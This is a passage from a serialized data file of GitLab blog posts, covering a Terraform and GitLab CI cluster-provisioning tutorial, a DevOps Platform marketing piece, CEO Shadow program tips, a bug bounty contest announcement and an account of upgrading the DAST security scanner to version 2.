[\"g3.small\"]\n        match_by = \"re\"\n    }\n\n    filter {\n        key = \"type\"\n        values = [\"instance\"]\n    }\n\n}\n\ndata \"civo_network\" \"network\" {\n    label = \"development\"\n}\n```\n\n\n- The `terraform/cluster/locals.tf` file outputs some useful details. We won't use them now, but they often come in handy in the longer term.\n\n```hcl\noutput \"cluster\" {\n  value = {\n    status = civo_kubernetes_cluster.dev-cluster.status\n    master_ip = civo_kubernetes_cluster.dev-cluster.master_ip\n    dns_entry = civo_kubernetes_cluster.dev-cluster.dns_entry\n  }\n}\n```\n\n- The `terraform/cluster/locals.tf` file is the same as for the network project:\n\n```hcl\nlocals {\n  region = \"LON1\"\n}\n```\n\n- The `terraform/cluster/variables.tf` file is the same as for the network project:\n\n```hcl\nvariable \"civo_token\" {\n  type = string\n  sensitive = true\n}\n```\n\n### Provision the cluster\n\nLet's see how can we extend the previous local and CI/CD setups to run this Terraform project!\n\n#### Running locally\n\n- Create `terraform/cluster/.envrc`  as you did for the network project:\n\n```\nexport TF_STATE_NAME=civo-${PWD##*terraform/}\nsource_env ../../.main.env\n```\n\nNow run Terraform:\n\n```bash\nterraform init\nterraform plan\nterraform apply\n```\n\n#### Running from CI/CD\n\nExtend the `.gitlab-ci.yaml` file with the following 3 jobs:\n\n```hcl\ncluster:init:\n  extends: .terraform:init\n  stage: init\n  variables:\n    TF_ROOT: terraform/cluster\n    TF_STATE_NAME: cluster\n  only:\n    changes:\n      - \"terraform/cluster/*\"\n\ncluster:review:\n  extends: .terraform:build\n  stage: build\n  variables:\n    TF_ROOT: terraform/cluster\n    TF_STATE_NAME: cluster\n  resource_group: tf:cluster\n  only:\n    changes:\n      - \"terraform/cluster/*\"\n\ncluster:deploy:\n  extends: .terraform:deploy\n  stage: deploy\n  variables:\n    TF_ROOT: terraform/cluster\n    TF_STATE_NAME: cluster\n  resource_group: tf:cluster\n  environment:\n    name: dev-cluster\n  when: manual\n  only:\n    changes:\n      - \"terraform/cluster/*\"\n    variables:\n      - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n```\n\nAs you can see these are the same jobs that we saw already, they are just parameterized for the `cluster` Terraform project.\n\nOnce you push your code to GitLab, you cluster should be ready in a few minutes!\n\n_[Click here](/blog/the-ultimate-guide-to-gitops-with-gitlab/) for the next tutorial._\n\n\n\n",[534,2509,676],{"slug":16689,"featured":6,"template":678},"gitops-with-gitlab-infrastructure-provisioning","content:en-us:blog:gitops-with-gitlab-infrastructure-provisioning.yml","Gitops With Gitlab Infrastructure Provisioning","en-us/blog/gitops-with-gitlab-infrastructure-provisioning.yml","en-us/blog/gitops-with-gitlab-infrastructure-provisioning",{"_path":16695,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16696,"content":16702,"config":16708,"_id":16710,"_type":16,"title":16711,"_source":17,"_file":16712,"_stem":16713,"_extension":20},"/en-us/blog/the-devops-platform-for-agile-business",{"title":16697,"description":16698,"ogTitle":16697,"ogDescription":16698,"noIndex":6,"ogImage":16699,"ogUrl":16700,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16700,"schema":16701},"The DevOps Platform for agile business","For a truly agile business, in every sense of the word, we think you need GitLab's DevOps Platform. Here's why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668155/Blog/Hero%20Images/devops-strategy-devops-toolchain.png","https://about.gitlab.com/blog/the-devops-platform-for-agile-business","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The DevOps Platform for agile business\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cormac Foster\"}],\n        \"datePublished\": \"2021-11-03\",\n      }",{"title":16697,"description":16698,"authors":16703,"heroImage":16699,"date":16705,"body":16706,"category":962,"tags":16707},[16704],"Cormac Foster","2021-11-03","\n\nIf you’ve spent time on the site, you already know that GitLab is The DevOps Platform, a single-application solution that is radically different than DIY DevOps toolchains. Have questions? Great — because we have answers, and [we’d love to chat](/demo/). But let’s address the most important question of all right here: “What’s in it for me?” Our approach is objectively different from other solution providers, but why should you care?\n\nIt’s a valid question, and one you should feel comfortable asking any solution provider. You don’t trade your station wagon for a Ferrari for looks, you get the Ferrari because it wins races. In our case, [The DevOps Platform](/solutions/devops-platform/) will absolutely make you better at “doing DevOps.” You can simplify your infrastructure like [Glympse](/customers/glympse/), which consolidated 20 tools into one. You can speed your delivery like [Goldman Sachs](/customers/goldman-sachs/), which increased deployments from two per month to 1,000 per day. You can run security scans concurrently with development like [Chorus](/customers/chorus/). These are all substantial improvements that can [generate real ROI](/resources/report-forrester-tei/) right away while improving quality of life for your employees. On its own, that’s fantastic — but incremental gains are just the start of the journey. \n\nUltimately, the point of The DevOps Platform isn’t doing DevOps better; it’s transforming your business and improving agility.\n\n_That’s a pretty bold statement._\n\nQuite, but it’s also true. We don’t want to improve DevOps outputs. We want to help you realize business outcomes. \n\nDevOps broke down silos between Development and Operations, ramping efficiency and velocity, but did that ultimately make businesses more profitable or innovate? Frequently, no, because the blocker to value creation just moved somewhere else — like Security, Product or Compliance. You can deploy 100x per day, but if a weeks-long audit process stands between any build and your customer, those efficiency gains might not matter. That’s where The DevOps Platform shines. As a single source of truth with a single data store, it provides visibility and context to every stakeholder in the company, whether they’re a Developer, Designer, Auditor, Security Professional or anyone else with a part to play.\n\nGot it. It’s about collaboration.\n\nAbsolutely. Our [mission statement](/company/mission/#mission) is “Everyone can contribute” because collaboration equals innovation. But you can’t just throw a wiki or a ticketing system at a problem and call it fixed. Contextual collaboration matters. If I’m a product owner and development is blocked or a security pro who sees that a known vulnerability wasn’t remediated, I need to know why, when and by whom. If you aren’t collaborating inside the system of work with real-time data, you’re probably missing critical context, which leads to poor decisions and, ultimately, less value in the hands of customers. When every company is a software company, every member of the business needs to be involved with and understand some aspect of software delivery.\n\n_So, now we’re talking about DevSecProductDesignFinanceAuditOps?_\n\nSure. But that’s a mouthful. Let’s just call it “agile business” because that’s really what The DevOps Platform gives you in the end. We’re extending the benefits of DevOps to a broader range of roles to remove those blockers at the edges of the process. This allows your whole organization to engage in and reap the rewards of agile thinking. And that brings us back to transformation. A platform is what’s been missing from so many Digital Transformation initiatives over the years, and a big reason why, even though businesses have gained efficiencies here and there, the primary goal of doing big things differently has been so hard to reach.\n\nNo software solution — not even GitlLab — can do the work for you, but that’s OK. You already know how to run your business. You have ideas and talent. You just need the software behind your software to get out of your way and support your business as you innovate. If you’ve already invested in transformation initiatives, The DevOps Platform can unlock the value of those investments. If you’re just getting started, it can help you scale your innovation immediately. To see how The DevOps Platform can work for you, [try GitLab Ultimate for free](/free-trial/).\n",[4103,1899,2705],{"slug":16709,"featured":6,"template":678},"the-devops-platform-for-agile-business","content:en-us:blog:the-devops-platform-for-agile-business.yml","The Devops Platform For Agile Business","en-us/blog/the-devops-platform-for-agile-business.yml","en-us/blog/the-devops-platform-for-agile-business",{"_path":16715,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16716,"content":16721,"config":16727,"_id":16729,"_type":16,"title":16730,"_source":17,"_file":16731,"_stem":16732,"_extension":20},"/en-us/blog/get-the-most-out-of-a-ceo-shadow-program",{"title":16717,"description":16718,"ogTitle":16717,"ogDescription":16718,"noIndex":6,"ogImage":12013,"ogUrl":16719,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16719,"schema":16720},"15 tips to succeed at GitLab's CEO Shadow program","A CEO shadow program can be invigorating, but also intimidating. Here are strategies to help you make the most of the experience.","https://about.gitlab.com/blog/get-the-most-out-of-a-ceo-shadow-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"15 tips to succeed at GitLab's CEO Shadow program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Neil McCorrison\"}],\n        \"datePublished\": \"2021-11-02\",\n      }",{"title":16717,"description":16718,"authors":16722,"heroImage":12013,"date":16724,"body":16725,"category":8943,"tags":16726},[16723],"Neil McCorrison","2021-11-02","\n\nYou may already know that GitLab offers an incredible thing called the CEO Shadow program where anyone in the company is able to spend time with CEO and co-founder [Sid Sijbrandij](/company/team/#sytses). It's an opportunity to get a behind-the-scenes look at how our company functions. \n\nThere is a lot of [information](https://www.youtube.com/c/GitLabUnfiltered/search?query=ceo%20shadow) available about the program. But for anyone considering a CEO shadow program, either at [GitLab](/handbook/ceo/shadow/#alumni) or another company, here are 15 pieces of advice to get the most out of the experience.\n\n## 1. Take lots of notes\n\nI took copious notes in a separate document because there were so many interesting things that happened - things that I want to remember, follow up on and learn more about. I've heard other shadows have had a notepad handy. Also consider how to further leverage recordings. Even in a normally unrecorded session (like a 1:1), Sid may start a recording to capture fidelity above what notes alone provide. It's an amazing trick. \n\n## 2. Be open to anything\n\nSid asked about his presentation [energy score](https://blog.energybroker.ie/whats-your-personal-energy-rating), danced the [cabbage patch](https://en.wikipedia.org/wiki/Cabbage_Patch_(dance)) during a 1:1 to celebrate a win, and was able to match everyone's energy in a discussion. So make sure to bring that energy! Also, did you know we have a [songbook](/company/culture/songbook/) that everyone can contribute to?\n\n## 3. Make the most of breaks\n\nTen-hour days of back-to-back meetings are no joke. Take the [time to refresh](/handbook/ceo/shadow/#tips-for-remote-shadows) during the day when you have breaks. \n\n## 4. You won't be alone\n\nAt GitLab, you are one of two active shadows following the [\"see one, teach one\" rotation](/handbook/ceo/shadow/#rotation-rhythm). Expect to build a great partnership with your co-shadow.\n\n## 5. Be a good partner\n\nKeep your co-shadow visible in the Zoom gallery view. It’s nice to see body language cues. It’s important to constantly help each other out between note-taking and other tasks. \n\n## 6. Everyone can benefit from a coach\n\nSid has a coach to perfect his communication and presentation skills, and others can benefit from one as well. There are lots of resources available to GitLab employees that are highly recommended, including [Modern Health](/handbook/total-rewards/benefits/modern-health/).\n\n## 7. Keep your communications organized\n\nUtilize the [sidebar sections feature in Slack](/handbook/communication/#organizing-your-slack-sidebar-by-priority). Group the pertinent CEO Shadow channels and team members. You'll want to make sure you stay on top of those messages.\n\n## 8. Tame your schedule management software\n\nIf you have [Clockwise](/handbook/tools-and-tips/other-apps/#clockwise) installed, it will override your status in Slack and pause notifications (the `z` indicator). This can mean missing important messages depending on your configuration. You can disable this by running `cw settings` and pausing the status override.\n\n## 9. MRs are essential\n\nYes, [everything starts with an MR](/handbook/communication/#start-with-a-merge-request): Have a concern, idea or suggestion? It’s going to get more traction if you take a stab at drafting it through an MR first.\n\n## 10. Experiment with your screen layout\n\nNotes on the left or right? Place them at the top of your screen near the camera. It can be easy to sink into taking notes and forget that you are often live on YouTube. Check your video once in a while to check your posture, eye placement and lighting. Don't forget to smile!\n\n## 11. Time-keeping is important \n\nUse the [time-keeping shell script](/handbook/ceo/shadow/#keeping-time) to ensure meetings [end on time](/company/culture/all-remote/meetings/#start-on-time-end-on-time). It’s amazing, simple and something a lot of shadows continue to use after the program. \n\n## 12. Don't overthink taking notes\n\nDon’t try to understand context when someone starts talking. Just try to capture what they said accurately. Taking effective notes and having [live doc meetings](/company/culture/all-remote/live-doc-meetings/) are amazing skills that the shadow program will catapult you into. \n\n## 13. Listen carefully\n\nExpect to be asked for questions in or following [Valley meetings](/handbook/ceo/shadow/#valley-meetings). They are a unique opportunity and another great chance to participate.\n\n## 14. Early is the new on-time\n\nYou should always join a meeting a minute or two before. I found that doing this during the shadow program gave me extra time to chat with participants – and often Sid – before the main meeting started. \n\n## 15. Get a true glimpse at our core values\n\nYou'll see [transparency](https://handbook.gitlab.com/handbook/values/#transparency) at work. You'll see that our [E-group](/company/team/e-group/) is full of personable, down-to-earth people who thrive on collaboration. You'll hear iteration mentioned - a lot. Not because it's a buzzword, but because it's a highly effective way to develop software. \n\n> Sid said it best: \"Iteration is one of our super powers. It's super hard to do, but when you get it right, it's super effective. It allows you to innovate quickly.\"\n\n**[Join GitLab](/jobs/) and become a CEO Shadow yourself!**\n",[676,7715,267],{"slug":16728,"featured":6,"template":678},"get-the-most-out-of-a-ceo-shadow-program","content:en-us:blog:get-the-most-out-of-a-ceo-shadow-program.yml","Get The Most Out Of A Ceo Shadow Program","en-us/blog/get-the-most-out-of-a-ceo-shadow-program.yml","en-us/blog/get-the-most-out-of-a-ceo-shadow-program",{"_path":16734,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16735,"content":16741,"config":16746,"_id":16748,"_type":16,"title":16749,"_source":17,"_file":16750,"_stem":16751,"_extension":20},"/en-us/blog/3rd-annual-bug-bounty-contest",{"title":16736,"description":16737,"ogTitle":16736,"ogDescription":16737,"noIndex":6,"ogImage":16738,"ogUrl":16739,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16739,"schema":16740},"Our 3rd annual bug bounty contest: the swagtastic sequel to the sequel","We’re running a bug bounty contest November 1 thru December 3. Find a bug and be entered to win some sweet custom swag. What’s better than a contest? Increased bounty ranges!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670997/Blog/Hero%20Images/BB-3rd-Anniversary-blog-header.png","https://about.gitlab.com/blog/3rd-annual-bug-bounty-contest","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our 3rd annual bug bounty contest: the swagtastic sequel to the sequel\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2021-11-01\",\n      }",{"title":16736,"description":16737,"authors":16742,"heroImage":16738,"date":16743,"body":16744,"category":674,"tags":16745},[12307],"2021-11-01","Our favorite time of the year is here! That time of year when we *try* to pause 😅 , reflect, and look back at the year’s accomplishments 🙌 .  \n\nFor our [Application Security](/handbook/security/security-engineering/application-security/) group here at GitLab, this means we’re looking back on the efforts we’ve made to secure the GitLab application. A big part of securing our product comes from the contributions of extremely talented bug bounty hunters across the globe who work year round to seek and identify bugs in our platform. So far this year we had 670 submissions from 359 different reporters.\n\nThank you to everyone who has contributed this year via our [HackerOne program](https://hackerone.com/gitlab). \n\n## 🎉 Increased bounties across all bounty ranges 🎉\n\n**New!** _Updated November 22, 2021_ We value the innovative and hugely impactful contributions made by security researchers through our bug bounty program and want to ensure we’re competitively rewarding and recognizing those contributions. Because of this, we’re raising our bounties for new reports submitted after 16:00 UTC November 22, 2021.\n\n| **Critical** | **High** | **Medium** | **Low** |\n|:-----------:|:-----------:|:-----------:|:-----------:|\n| $20,000 - $35,000 | $5,000 - $15,000 | $1,000 - $2500 | $100 - $750 |\n\n### Standardizing bounty calculations\nAlso of note, we’re working to further standardize the way we calculate both severities and bounties with our new [CVSS calculator](https://gitlab-com.gitlab.io/gl-security/appsec/cvss-calculator/) developed by Application Security team member, [Michael Henriksen](/company/team/#mhenriksen). This calculator allows us to be more transparent and consistent in our award process. We plan to dive deeper into our [HackerOne process](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html) and [CVSS-based scoring method](/handbook/security/security-engineering/application-security/runbooks/cvss-calculation.html) in a blog next quarter.\n\nAnd, to celebrate our bug bounty hunting community and our [third year as a public bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), we’re holding a Bug Bounty contest starting November 1 until December 3, 2021!\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-birthday-cake\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  Three-year anniversary hacking contest \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center} \n\\\n\\\n**Our community hacking contest kicks off November 1 at 4 am UTC and closes on December 3, 2021 at 4 pm UTC. Just find and report a bug to our [HackerOne bug bounty program](https://hackerone.com/gitlab) and you're entered to win.**  The top contributor in the following categories will receive a sweet piece of custom GitLab swag:  \n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** Collect the most reputation points from submissions to our program and win!\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most reputation points *collected by a reporter new to our program***. Getting started with a new bug bounty program is difficult. This one goes out to all the new reporters out there.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Best written report.** See above. A well-written report goes a long way to demonstrate impact and to help us reproduce the problem efficiently and accurately.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** Sometimes reporters demonstrate true out-of-the-box thinking in their approach to finding bugs. We appreciate this creativity.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:.95em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** At the end of the day, these high-risk, high-reward vulnerabilities are what we’re all looking for.\n{: #id-rocket} \n\n**The winners will be announced on Dec. 14, 2021 via a [GitLab blog](/blog/) post and on [Twitter](https://twitter.com/gitlab).** A contributor can win at most one category. Of course, regular bounties still apply to any of your findings.   \n\n## Need some inspiration? \n\nWe release new features on the 22nd of every month. Might we suggest [learning more about our release process](/releases/) and checking out the latest [monthly release blog post](/releases/categories/releases/) for some inspiration? 😉\n\nYou can get tips on what our team looks for in bug bounty reports, by reading [“Our top tips for better bug bounty reports“](/blog/top-tips-for-better-bug-bounty-reports-and-a-hacker-contest/).\n\n### Learn from some of the best\n\n👉  In our blog, Riccardo Padovani, [@rpadovani on HackerOne](https://hackerone.com/rpadovani?type=user), shared [advice they’d give someone looking to start participating as a researcher in a bug bounty program](/blog/rpadovani-ask-a-hacker/#what-advice-would-you-give-someone-looking-to-start-participating-as-a-researcher-in-a-bug-bounty-program).   \n\n> Take note of features that are interesting to you. Keep notes where you can review what you have already done, and what you have already found. This will be useful if you step away and come back to a target. It takes time and it takes luck. Do not leave your day job until you are well on your way, and remember to set aside some money to pay your taxes when they are due!\n\n🔎  In this clip from his [GitLab AMA](https://youtu.be/SK_vuZCafZ4), Riccardo talks about how he approaches bug hunting on GitLab.   \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XRBeYXb9IlA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n⏱  In this clip from his [GitLab AMA](https://youtu.be/Km6toD6CAAw), Alex Chapman, [@ajxchapman on HackerOne](https://hackerone.com/ajxchapman?type=user), talks about how he efficiently and effectively fits bug bounty hunting in with all of life’s other priorities. You can learn more about his approach in our blog post, [“How do bug bounty hunters use GitLab to help their hack?“](/blog/how-i-use-gitlab-to-help-my-hack/).  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/hECvkY6LnUU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n👀  See how William Bowling, [@vakzz on HackerOne](https://hackerone.com/vakzz), responded to a question around how he chooses which programs and features he’ll focus his bug bounty hunting efforts on in a [recent GitLab AMA](https://youtu.be/kw168DGAILk).  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/eDwnTmuWFsE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n🕵️  And, check out this video to see what top bug bounty hunter, contributor, and GitLab alumni, Ron Chan, ([@ngalog](https://hackerone.com/ngalog?type=user) on HackerOne) shares as his [“Secret to finding critical security issues on GitLab”](https://www.youtube.com/watch?v=5ORBcUo1jqY)? \n\n*If you’re wondering what the custom GitLab swag might be you can check out [2020’s giveaway (and the winners)](/blog/twenty-twenty-through-a-bug-bounty-lens/) and peep [what we gave away in 2019, and who won](/blog/bugs-bounties-and-cherry-browns/). Know that we want you to contribute in style.* 😎  \n\nHappy hacking!\n",[674,1938],{"slug":16747,"featured":6,"template":678},"3rd-annual-bug-bounty-contest","content:en-us:blog:3rd-annual-bug-bounty-contest.yml","3rd Annual Bug Bounty Contest","en-us/blog/3rd-annual-bug-bounty-contest.yml","en-us/blog/3rd-annual-bug-bounty-contest",{"_path":16753,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16754,"content":16760,"config":16765,"_id":16767,"_type":16,"title":16768,"_source":17,"_file":16769,"_stem":16770,"_extension":20},"/en-us/blog/how-were-using-dast2-for-easier-scan-configuration",{"title":16755,"description":16756,"ogTitle":16755,"ogDescription":16756,"noIndex":6,"ogImage":16757,"ogUrl":16758,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16758,"schema":16759},"How we’re using DAST 2 for easier scan configuration and reduced noise","Our security team upgraded to GitLab’s DAST 2. Here’s how and why we did it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682167/Blog/Hero%20Images/pexels-chernaya-575.jpg","https://about.gitlab.com/blog/how-were-using-dast2-for-easier-scan-configuration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we’re using DAST 2 for easier scan configuration and reduced noise\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nikhil George\"}],\n        \"datePublished\": \"2021-10-27\",\n      }",{"title":16755,"description":16756,"authors":16761,"heroImage":16757,"date":16762,"body":16763,"category":674,"tags":16764},[4221],"2021-10-27","\n\nAt GitLab, [dogfooding](https://handbook.gitlab.com/handbook/values/#dogfooding) is part of our core value of [results](https://handbook.gitlab.com/handbook/values/#results). Inspired by this principle, we use all GitLab [security scanning tools available as part of our product](https://docs.gitlab.com/ee/user/application_security/) within our organization to identify security vulnerabilities early in the development phase. One such scanning tool is the [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/index.html) scanner, which helps identify security vulnerabilities in web application deployments. The DAST scanner is a black-box testing tool that interacts with a web application like a user and tests for security vulnerabilities. \n\nWe’ve since updated GitLab’s DAST CI job configuration to make use of the latest DAST analyzer features offered in [DAST 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69054). This blog post details how we configured DAST version 1 to work for our needs, our move to DAST 2 (along with details on our configs) and the benefits we’re seeing so far. _Hint: Big wins in efficiency!_ \n\n## How we made DAST 1 work for us\n\nMy teammate [Dennis Appelt](/company/team/#dappelt) blogged previously about how [we configured DAST scans](/blog/how-to-configure-dast-full-scans-for-complex-web-applications/) in our [pipeline](https://gitlab.com/gitlab-org/gitlab/-/blob/master/.gitlab/ci/dast.gitlab-ci.yml) to scan the GitLab web application periodically using DAST 1. As detailed in that blog, running a DAST scan on a complex web application like GitLab from the CI pipeline requires a bit of planning to optimize the scan time and prevent CI job [timeouts](https://docs.gitlab.com/ee/ci/pipelines/settings.html#set-a-limit-for-how-long-jobs-can-run). With DAST 1, our approach was to split the DAST scan into multiple, parallel CI jobs and exclude irrelevant scan rules to achieve optimization and prevent job timeouts. \n\nWhen configuring a parallel DAST scan, each DAST job is set to execute a mutually exclusive list of scan rules. These scan rules are selected such that they will finish execution within the set CI job timeout.\n\n_note: In the GitLab DAST pipeline line, the [`DAST_EXCLUDE_RULES`](https://docs.gitlab.com/ee/user/application_security/dast/#enable-or-disable-rules) CI/CD variable was used to disable specific scan rules as `DAST_ONLY_INCLUDE_RULES` was not available until [DAST v1.53.0](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md#v1530)._ \n\n### Addressing challenges with job timeouts\n\nUsing an exclusion list, the go-to option for disabling scan rules until DAST v1.53.0, works fine until there’s a new version of DAST analyzer, which comes with a new scan rule. By default, DAST auto-update is turned on and all newly-introduced scan rules get executed in all the DAST jobs. As a result, the DAST jobs could face timeout issues if the addition of a new scan rule increases the scan duration beyond the configured CI job timeout duration. In addition, the default execution of the newly-added scan rules in all the DAST jobs, results in duplicate scans -- a waste of CI cycles.  \n\n### Test, verify and check auto-update status\n\nTo prevent default execution of the newly-added scan rules while using a DAST version earlier than 1.53, enable new scan rules in a single DAST job. This single DAST job should be tested to verify that it runs within the set CI job timeout; this is a repetitive and manual effort. A short-term workaround employed by our team in this case was to disable DAST auto-update by pinning the DAST analyzer to a specific release version by mentioning the version number in `DAST_VERSION` CI/CD variable.\n\n## DAST 2 improvements\n\nDAST 2 was released with [GitLab 14.0](/releases/2021/06/22/gitlab-14-0-released/) in June 2021 and introduced a bunch of [interesting features and config options](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md#v200) that made DAST configuration and vulnerability management much easier. \n\nAs we had disabled DAST auto-update in the GitLab pipeline, we were missing out on all the new features and bug fixes that came with different minor and major version updates. You can see the [configuration changes we performed to upgrade the DAST pipeline from version 1.22.1 to 2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69054).\n\n### Streamlining vulnerability triage\n\nOne new feature of DAST 2 that we’re finding especially valuable on GitLab is the [aggregation of vulnerabilities](https://gitlab.com/gitlab-org/gitlab/-/issues/254043). During a DAST scan of a web application, there are many vulnerabilities that are common to multiple web requests. For instance, the [X-Frame-Options Header Not Set](https://www.zaproxy.org/docs/alerts/10020/) plugin checks if `X-Frame-Options` HTTP headers are present in each response and reports a vulnerability for every applicable request. This resulted in creation of multiple, duplicate, true-positive vulnerabilities in the vulnerability dashboard. The new vulnerability aggregation feature groups vulnerabilities created from plugins like this into a single vulnerability, irrespective of the number of times it is detected in the scan. This makes vulnerability triage much faster as only one vulnerability is now reported for plugins like this. \n\nOther benefits include:\n- [upgraded versions](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/520) of a browser-based crawler;\n- bug fixes; and\n- availability of [better configuration option](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md#v203) for the browser-based scans.\n\nTake a peek at the [change log](https://gitlab.com/gitlab-org/security-products/dast/-/blob/main/CHANGELOG.md) to see everything that’s new!\n\n## How we updated GitLab’s DAST CI job \n\nOur move to DAST version 2 and updating GitLab's DAST CI job included three steps:\n1. Move to `DAST_ONLY_INCLUDE_RULES`.\n1. Update DAST analyzer to version 2 and enable auto-update.\n1. Remove deprecated DAST configurations.\n\n### Move to `DAST_ONLY_INCLUDE_RULES` \n\nThe introduction of the `DAST_ONLY_INCLUDE_RULES` CI/CD variable provided a quick way to select ZAP scan rules for execution. Instead of listing out all the rules that need to be excluded from the scan using `DAST_EXCLUDE_RULES`, selected rules for execution could be specified as the value of `DAST_ONLY_INCLUDE_RULES`. This made the job configuration easier because, in our case, the exclusion list was long and dynamic (and kept changing from DAST version to version) but the include list is static and small, making the manual effort involved in scanning more efficient.\n\nFor example, to run two selected scan rules, namely `10020` and `10021` in a DAST CI job, one would have to disable all the other rules using `DAST_EXCLUDE_RULES`, as illustrated below:\n```yaml\nDAST-fullscan:\n  extends:\n    - .dast_conf\n  variables:\n    DAST_USERNAME: \"user1\"\n    DAST_EXCLUDE_RULES: “10019,10037,10054….(all rules except 10020,10021)\n  script:\n     - /analyze -t $DAST_WEBSITE -d\n```\nHowever, using `DAST_ONLY_INCLUDE_RULES`, the long list of exclude rules could be replaced by a short include list:\n```yaml\nDAST-fullscan:\n  extends:\n    - .dast_conf\n  variables:\n    DAST_USERNAME: \"user1\"\n    DAST_ONLY_INCLUDE_RULES: “10020,10021”\n  script:\n     - /analyze -t $DAST_WEBSITE -d\n```\nAlso, using `DAST_ONLY_INCLUDE_RULES` ensures there won’t be an unexpected timeout on any DAST job due to the execution of new scan rules that come with the new DAST analyzer versions. \n\n### Update DAST analyzer to version 2 and enable auto-update\n\nAs I mentioned above, the version of the DAST analyzer in [gitlab-org/gitlab’s](https://gitlab.com/gitlab-org/gitlab) CI/CD pipeline was pinned to `1.22.1` as a workaround for preventing job timeouts. Now, with the introduction of the `DAST_ONLY_INCLUDE_RULES` CI/CD variable, DAST auto-update could be turned on and version upgrade from 1 to 2 could be carried out in the pipeline without any worry of job failures from timeout.  Both of these were achieved by updating the value of `DAST_VERSION` CI/CD variable to `2`. You can read more about [configuring the DAST version](https://docs.gitlab.com/ee/user/application_security/dast/#include-the-dast-template) in our docs. \n\n### Remove deprecated DAST configurations\n\nIn DAST 2.0, [multiple DAST config CI variables were removed](https://gitlab.com/gitlab-org/security-products/dast/-/merge_requests/460), so any use of them in our pipeline also needed to be removed. One such variable was `DAST_AUTH_EXCLUDE_URLS`, which was previously used to specify the URLs to skip during the authenticated scan. This was replaced with `DAST_EXCLUDE_URLS`.\n\n## Dogfooding for the win\n\nIn addition to being able to reduce CI job complexity in GitLab’s DAST pipeline with the upgrade to version 2, our GitLab Security team was able to identify areas for improvement, including the addition of [a misconfiguration detection feature](https://gitlab.com/gitlab-org/gitlab/-/issues/340814) and a [reusable configuration section in DAST template](https://gitlab.com/gitlab-org/gitlab/-/issues/340420), as well as the identification of a [bug causing long URLs in the evidence section not to wrap](https://gitlab.com/gitlab-org/gitlab/-/issues/341050).\n\n## Our next steps for DAST\nOur next goal is to start dogfooding the DAST API scan and beta features like [browser-based scans](https://docs.gitlab.com/ee/user/application_security/dast/browser_based.html) to identify pain points from a user perspective and remediate them. \n\nTo stay on top of new DAST releases and cool features that come with them, head over to the [DAST release page](https://gitlab.com/gitlab-org/security-products/dast/-/releases).\n\nAlso, are you looking to try out DAST 2, but feeling baffled by the configurations mentioned here? Well, don't be! GitLab also provides quick and easy ways to [enable automatic DAST 